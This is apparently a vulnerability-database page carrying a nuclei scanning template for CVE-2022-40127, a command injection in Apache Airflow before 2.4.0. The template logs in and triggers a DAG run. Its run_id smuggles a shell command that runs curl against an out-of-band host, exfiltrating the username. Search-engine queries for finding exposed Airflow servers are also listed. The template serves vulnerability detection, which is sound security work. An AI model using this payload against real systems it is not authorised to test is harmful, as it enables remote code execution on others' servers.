Lucene search
+L

AirFlow < 2.4.0 - Remote Code Execution

🗓️ 16 Oct 2026 02:05:10Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 126 Views

AirFlow < 2.4.0 - Remote Code Execution vulnerability allows arbitrary commands execution via manually provided run_id. Affects versions prior to 2.4.0. Upgrade to mitigate

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Apache Airflow
21 Jul 202312:55
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Apache Airflow
18 Nov 202213:19
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Apache Airflow
21 Jul 202312:55
–githubexploit
bdu_fstec
BDU FSTEC
Airflow run_id Command Execution
25 Nov 202200:00
–bdu_fstec
circl
Circl
CVE-2022-40127
19 Nov 202213:07
–circl
cnnvd
CNNVD
Apache Airflow code injection vulnerability
14 Nov 202200:00
–cnnvd
cnvd
CNVD
Apache Airflow code injection vulnerability
17 Nov 202200:00
–cnvd
cve
CVE
CVE-2022-40127
14 Nov 202200:00
–cve
cvelist
Cvelist
CVE-2022-40127 Apache Airflow <2.4.0 has an RCE in a bash example
14 Nov 202200:00
–cvelist
github
Github Security Blog
Apache Airflow vulnerable to OS Command Injection via example DAGs
14 Nov 202212:00
–github
Rows per page
id: CVE-2022-40127

info:
  name: AirFlow < 2.4.0 - Remote Code Execution
  author: DhiyaneshDk,ritikchaddha
  severity: high
  description: |
    A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/Mr-xn/CVE-2022-40127
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40127
    - http://www.openwall.com/lists/oss-security/2022/11/14/2
    - https://github.com/apache/airflow/pull/25960
    - https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-40127
    cwe-id: CWE-94
    epss-score: 0.85653
    epss-percentile: 0.99724
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: airflow
    shodan-query:
      - title:"Sign In - Airflow"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - title="sign in - airflow"
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve,cve2022,airflow,rce,oast,authenticated,apache,vuln

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
      - |
        @timeout: 15s
        POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "conf": {
        "dag_run": "{{randstr}}"
        },
          "dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
          "logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"

        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'state": "queued"'

      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'type="hidden" value="(.*?)">'
        internal: true
# digest: 4a0a0047304502206a4f126e8272ab6daad7c337bb6141a4e25f04eb139261ff57c6908aabf8c235022100821dd163227c142f28fa74d16b45fb8f448403d2036f6238d4bad100f368792e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.8
EPSS0.85653
SSVC
126